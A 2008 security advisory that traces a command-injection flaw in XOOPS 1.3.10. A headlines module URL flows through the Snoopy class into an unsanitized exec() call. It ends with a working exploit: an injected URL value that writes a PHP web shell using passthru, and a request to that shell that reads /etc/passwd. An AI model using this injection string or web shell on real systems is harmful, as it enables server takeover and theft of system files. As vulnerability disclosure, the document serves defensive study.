==
xoops-1.3.10 shell command execute vulnerability ( causing snoopy class )
==
Author: geinblues ( geinblues [at] gmail [dot] com )
DATE: 9.7.2008
Site: http://enterblue.net/~x90c/
Risk: Midium
==
[0] Vulnerability Tracing ( Tracing [BREAK 0] ~ [BREAK 6] )
~/xoops-1.3.10/html/class/snoopy.class.php
--------------------------------------------------------------------------------------------------------------------
function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")
{
..
/* [BREAK 5]: $URI(sourceURl in vulnerable Moudle) is Ours injected parameter From below fetch() */
$URI_PARTS = parse_url($URI);
..
/* [BREAK 6]: $URI (vulerable parameter) If we can reach to below, Then We can execute system shell command */
exec($this->curl_path." -D \"/tmp/$headerfile\"".$cmdline_params." ".$URI,$results,$return);
..
}
function fetch($URI)
{
//preg_match("|^([^:]+)://([^:/]+)(:[\d]+)*(.*)|",$URI,$URI_PARTS);
$URI_PARTS = parse_url($URI);
if (!empty($URI_PARTS["user"]))
$this->user = $URI_PARTS["user"];
if (!empty($URI_PARTS["pass"]))
$this->pass = $URI_PARTS["pass"];
switch($URI_PARTS["scheme"])
{
case "http":
..
case "https": /* [BREAK 3] sourceURl's first 5Bytes ( https in [BREAK 0] ) */
if(!$this->curl_path || (!is_executable($this->curl_path)))
return false;
$this->host = $URI_PARTS["host"];
if(!empty($URI_PARTS["port"]))
$this->port = $URI_PARTS["port"];
if($this->_isproxy)
{
// using proxy, send entire URI
$this->_httpsrequest($URI,$URI,$this->_httpmethod);
}
else
{
$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
/* [BREAK 4] _httpsrequest(.., $URI, ..); Here Our Supplied $URI(sourceURl) */
// no proxy, send only the path
$this->_httpsrequest($path, $URI, $this->_httpmethod);
}
default:
..
}
return true;
}
--------------------------------------------------------------------------------------------------------------------
~/xoops-1.3.10/class/phpsyndication.lib.php
// | required: - PHP |
// | - Snoopy (find it here: http://freshmeat.net/projects/snoopy) |
/* [BREAK 1] We can supply parameter from RSS file into sourceUrl firstly */
class RSStoHTML
{
var $sourceUrl; // location of the source RSS file
..
}
/**
* includes Snoopy class for remote file access
*/
require(XOOPS_ROOT_PATH."/class/snoopy.class.php");
..
function getData($forcecache=false)
{
if(_PHPSYNDICATION_CONNECTED && $forcecache != true && (!file_exists($this->cacheDir.$this->cacheFile) || (filemtime($this->cacheDir.$this->cacheFile) + $this->cacheTimeout - time()) < 0))
{
$snoopy = new Snoopy;
/* [BREAK 2] Here snoopy->fetch(sourceUrl from [BREAK 1]) member function calling */
$snoopy->fetch($this->sourceUrl);
$data = $snoopy->results;
$cacheFile = fopen($this->cacheDir.$this->cacheFile, "w");
fwrite($cacheFile, $data);
fclose($cacheFile);
}
// fsockopen failed the last time, so force cache
elseif ( $forcecache == true )
{
if (file_exists($this->cacheDir.$this->cacheFile)) {
$data = implode('', file($this->cacheDir.$this->cacheFile));
// set the modified time to a future time, and let the server have time to come up again
touch($this->cacheDir.$this->cacheFile, time() + $this->cacheTimeout);
} else {
$data = "";
}
} else {
$data = implode('', file($this->cacheDir.$this->cacheFile));
}
return $data;
}
function getHtml($fromcache=false)
{
$data = $this->getData($fromcache);
..
function getTitle($fromcache=false)
{
$data = $this->getData($fromcache=false);
--------------------------------------------------------------------------------------------------------------------
~/xoops-1.3.10/html/modules/headlines/blocks/headlines.php
<?php
function b_headlines_show() {
global $xoopsDB;
$block = array();
$block['title'] = _MB_HEADLINES_TITLE;
$block['content'] = "";
include(XOOPS_ROOT_PATH."/class/phpsyndication.lib.php");
$cache_dir = XOOPS_ROOT_PATH."/modules/headlines/cache/";
$cache_time = 3600;
$max_items = 10;
$result = $xoopsDB->query("SELECT hid, sitename, url, headlinesurl, status FROM ".$xoopsDB->prefix("headlines")." WHERE status=1 OR status=2");
$xoopsDB->queryF("UPDATE ".$xoopsDB->prefix("headlines")." SET status=1 WHERE status=2");
while (list($hid, $sitename, $url, $headlinesurl, $status) = $xoopsDB->fetchRow($result)) {
$cache_file = "newsheadline-$hid.cache";
$block['content'] .= "<p>";
// fsockopen was ok the last time, so do it again
if ( $status == 2 ) {
$synd = new RSStoHTML($headlinesurl, $cache_dir, $cache_file, $cache_time, $max_items);
$block['content'] .= "<b>".$synd->getTitle()."</b><br />";
$block['content'] .= $synd->getHtml();
}
// fsockopen did not return on the last attempt, so use cache
elseif ( $status == 1 ) {
// change cache time to 1 day(24hrs) might be safer
/* [BREAK 0] RSStoHTML called when using this headlines module */
$synd = new RSStoHTML($headlinesurl, $cache_dir, $cache_file, 86400, $max_items);
$block['content'] .= "<b>".$synd->getTitle(true)."</b><br />";
$block['content'] .= $synd->getHtml(true);
}
$block['content'] .= "</p>";
// set status to 2(ok) for headlines that passed fsockopen or used cache
$xoopsDB->queryF("UPDATE ".$xoopsDB->prefix("headlines")." SET status=2 WHERE hid=$hid");
}
return $block;
}
?>
[1] Exploitation:
A. (*)INTO DB:
headlinesurl(headlines module table's field) = https://;`echo '<?passthru($cmd)?>' >> xox.php`
B. Browsing xoops pages for referencing headlines module ( at this time. our parameter reached to snoopy class's exec(??,$URI,??) )
C.
IN WEB-BROWSER:
http://victim/xoops-1.3.10/html/class/xox.php?cmd='cat /etc/passwd'
TODO : http://www.xoops.org/modules/news/archive.php
We can search more vulnerable modules else headlinesurl (default module) from above url.
